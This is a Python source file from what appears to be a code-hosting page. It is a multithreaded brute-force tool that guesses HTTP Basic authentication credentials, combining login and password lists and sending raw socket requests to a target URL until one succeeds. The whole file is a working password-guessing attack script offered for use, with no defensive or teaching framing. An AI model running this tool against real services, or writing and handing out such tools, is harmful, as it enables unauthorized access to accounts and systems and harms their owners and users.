You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

207 lines
5.3KB

  1. #!/usr/bin/python3
  2. import sys
  3. import socket
  4. import ssl
  5. import time
  6. from base64 import b64encode
  7. from argparse import ArgumentParser
  8. from threading import Thread, Lock
  9. thread_num = None
  10. batch_size = None
  11. credlist = list()
  12. lock = Lock()
  13. over = False
  14. total = current = 0
  15. class Protocol:
  16. PLAIN = 0
  17. SSL = 1
  18. def getargs():
  19. p = ArgumentParser()
  20. p.add_argument("-u", "--url", help="URL to bruteforce", required=True)
  21. login_grp = p.add_mutually_exclusive_group(required=True)
  22. login_grp.add_argument("-l", help="Single login to use")
  23. login_grp.add_argument("-L", help="Login file to use")
  24. passwd_grp = p.add_mutually_exclusive_group(required=True)
  25. passwd_grp.add_argument("-p", help="Single password to use")
  26. passwd_grp.add_argument("-P", help="Password file to use")
  27. p.add_argument("-t", "--threads", help="Total (false) threads to use (fuck you python)", required=False, default="100", type=int)
  28. return p.parse_args()
  29. def parse_url(url):
  30. proto = Protocol.PLAIN
  31. if url.find("http://") != -1 or url.find("https://") != -1:
  32. if url.find("https://") != -1:
  33. port = 443
  34. url = url[8:]
  35. proto = Protocol.SSL
  36. else:
  37. port = 80
  38. url = url[7:]
  39. else:
  40. port = 80
  41. if url.find("/") != -1:
  42. domain = url[:url.index("/")]
  43. else:
  44. domain = url
  45. if domain.find(":") != -1:
  46. port = int(domain.split(":")[1])
  47. domain = domain.split(":")[0]
  48. if url.find("/") != -1:
  49. path = url[url.index("/"):]
  50. else:
  51. path = ""
  52. ip = socket.gethostbyname(domain)
  53. return (ip, port, proto, domain, path)
  54. def error(msg):
  55. print("\033[31m{}\033[0m".format(msg))
  56. sys.exit(1)
  57. def main():
  58. global credlist, lock, batch_size, total
  59. args = getargs()
  60. print("Brute-force basic auth !")
  61. try:
  62. parsed_url = parse_url(args.url)
  63. except:
  64. error("Unable to parse url {}".format(args.url))
  65. thread_num = args.threads
  66. logins = passwords = list()
  67. logins = [args.l] if args.l else listfromfile(args.L)
  68. passwords = [args.p] if args.p else listfromfile(args.P)
  69. for l in logins:
  70. for p in passwords:
  71. credlist.append(l+":"+p)
  72. total = len(credlist)
  73. print("Logins: {}, Passwds: {}, total: {}".format ( \
  74. len(logins), \
  75. len(passwords), \
  76. total \
  77. ))
  78. batch_size = len(credlist) // thread_num + (len(credlist) % thread_num > 0)
  79. threads = list()
  80. t0 = time.time()
  81. print("Starting {} thread(s)... ({} reqs per thread)".format(thread_num, batch_size))
  82. for t in range(thread_num):
  83. threads.append(Thread(target=worker, args=(parsed_url)))
  84. threads[t].daemon = True
  85. threads[t].start()
  86. t = Thread(target=stats)
  87. t.daemon = True
  88. t.start()
  89. threads.append(t)
  90. for t in threads:
  91. try:
  92. t.join(600)
  93. except KeyboardInterrupt:
  94. print("Ctrl+C hit. Exiting...")
  95. return
  96. print("\nFinished in {} seconds".format(int(time.time() - t0)))
  97. def worker(ip, port, proto, domain, path):
  98. global credlist, over, current
  99. while not over:
  100. with lock:
  101. local = list()
  102. if len(credlist) >= batch_size:
  103. local = credlist[:batch_size]
  104. credlist = credlist[batch_size:]
  105. elif len(credlist) == 0:
  106. return
  107. else:
  108. local = credlist
  109. credlist=[]
  110. for cred in local:
  111. if over:
  112. return
  113. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  114. if proto == Protocol.SSL:
  115. s = ssl.wrap_socket(s)
  116. s.connect((ip, port))
  117. s.send(req(domain, path, cred))
  118. ret = s.recv(4096)
  119. print(ret)
  120. if not b"not authenticated" in ret:
  121. print("\n\nw00t w00t! - \033[32m{}\033[0m\n".format(cred))
  122. print(ret)
  123. over = True
  124. current += 1
  125. def stats():
  126. rnd = 0
  127. current_0 = current
  128. to = time.time()
  129. arrrps = [0, 0, 0, 0, 0]
  130. arreta = [0, 0, 0, 0, 0]
  131. while not over:
  132. time.sleep(1)
  133. arrrps += [int((current - current_0) / (time.time() - to))]
  134. rps = int(sum(arrrps[-5:]) / 5)
  135. arrrps = arrrps[-5:]
  136. arreta += [int((total - current) / rps)]
  137. eta = int(sum(arreta[-5:]) / 5)
  138. arreta = arreta[-5:]
  139. if rnd >= 5:
  140. sys.stdout.write("Stats: Requests made: {}/{} | Speed: {} r/s | ETA: {}s \r".format( \
  141. current \
  142. ,total \
  143. ,rps \
  144. ,eta \
  145. ))
  146. else:
  147. sys.stdout.write("Stats: Requests made: {}/{} \r".format( \
  148. current \
  149. ,total \
  150. ))
  151. rnd+=1
  152. def req(domain, path, creds):
  153. req = "GET {} HTTP/1.1\n".format(path)
  154. req += "Host: {}\n".format(domain)
  155. req += "Authorization: Basic " + b64encode(bytes(creds, 'utf-8')).decode('utf-8') + "\r\n\r\n"
  156. return bytes(req, 'utf-8')
  157. def listfromfile(filename):
  158. data = list()
  159. for line in [line.decode('utf-8', 'ignore').replace("\n", "") for line in open(filename, "rb") if line]:
  160. data.append(line)
  161. return data
  162. if __name__=='__main__':
  163. main()